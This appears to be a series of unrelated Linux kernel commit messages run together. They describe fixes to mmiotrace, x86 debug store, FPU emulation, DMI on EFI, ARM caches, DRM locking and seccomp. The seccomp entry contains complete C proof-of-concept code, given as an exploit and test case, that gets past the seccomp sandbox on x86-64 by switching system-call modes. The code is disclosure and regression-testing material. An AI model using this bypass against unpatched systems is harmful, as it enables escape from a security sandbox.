Impact: fix race+crash in mmiotrace The list manipulation in remove_kmmio_fault_pages() was broken. If more than one consecutive kmmio_fault_page was re-added during the grace period between unregister_kmmio_probe() and remove_kmmio_fault_pages(), the list manipulation failed to remove pages from the release list. After a second grace period the pages get into rcu_free_kmmio_fault_pages() and raise a BUG_ON() kernel crash. The list manipulation is fixed to properly remove pages from the release list. This bug has been present from the very beginning of mmiotrace in the mainline kernel. It was introduced in 0fd0e3da ("x86: mmiotrace full patch, preview 1"); An urgent fix for Linus. Tested by Stuart (on 32-bit) and Pekka (on amd and intel 64-bit systems, nouveau and nvidia proprietary).

ds_write_config() can write the BTS as well as the PEBS part of the DS config. ds_request_pebs() passes the wrong qualifier, which results in the wrong configuration to be written.

In case a ptraced task is reaped (while the tracer is still attached), ds_exit_thread() is called before ptrace_exit(). The latter will release the bts_tracer and remove the thread's ds_ctx. The former will WARN() if the context is not NULL. Oleg Nesterov submitted patches that move ptrace_exit() before exit_thread() and thus reverse the order of the above calls. Remove the bad warning. I will add it again when Oleg's changes are in.

Impact: fix math-emu related crash while using GDB/ptrace init_fpu() calls finit to initialize a task's xstate, while finit always works on the current task. If we use PTRACE_GETFPREGS on another process and both processes did not already use floating point, we get a null pointer exception in finit. This patch creates a new function finit_task that takes a task_struct parameter. finit becomes a wrapper that simply calls finit_task with current. On the plus side this avoids many calls to get_current which would each resolve to an inline assembler mov instruction. An empty finit_task has been added to i387.h to avoid linker errors in case the compiler still emits the call in init_fpu when CONFIG_MATH_EMULATION is not defined. The declaration of finit in i387.h has been removed as the remaining code using this function gets its prototype from fpu_proto.h.

Impact: reactivate DMI quirks on EFI hardware DMI tables are loaded by EFI, so the dmi calls must happen after efi_init() and not before. Currently Apple hardware uses DMI to determine the framebuffer mappings for efifb. Without DMI working you also have no video on MacBook Pro. This patch resolves the DMI issue for EFI hardware (DMI is now properly detected at boot), and additionally efifb now loads on Apple hardware (i.e. video works).

The cacheid_init() function assumes that if cpu_architecture() returns 7, the caches are VIPT_NONALIASING. The cpu_architecture() function returns the version of the supported MMU features (e.g. TEX remapping) but it doesn't make any assumptions about the cache type.

This reverts commit 155b25bc, which was totally wrong - the "embedded" options still exists (very much so) even on non-embedded platforms. It's just that we don't bother with actually asking about them when we're not embedded, we just take their default values (which is usually 'y' - the options add features that may not be worth it in a constrained environment).

This is done by 1) Wake up lock waiters when we close the master file descriptor. Not when the master structure is removed, since the latter requires the waiters themselves to release the refcount on the master structure -> Deadlock. 2) Send a SIGTERM to all clients waiting for the lock. Normally these clients will get a SIGPIPE when the X server dies, but clients may also spin trying to grab the DRM lock, without getting any sort of notification.

On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
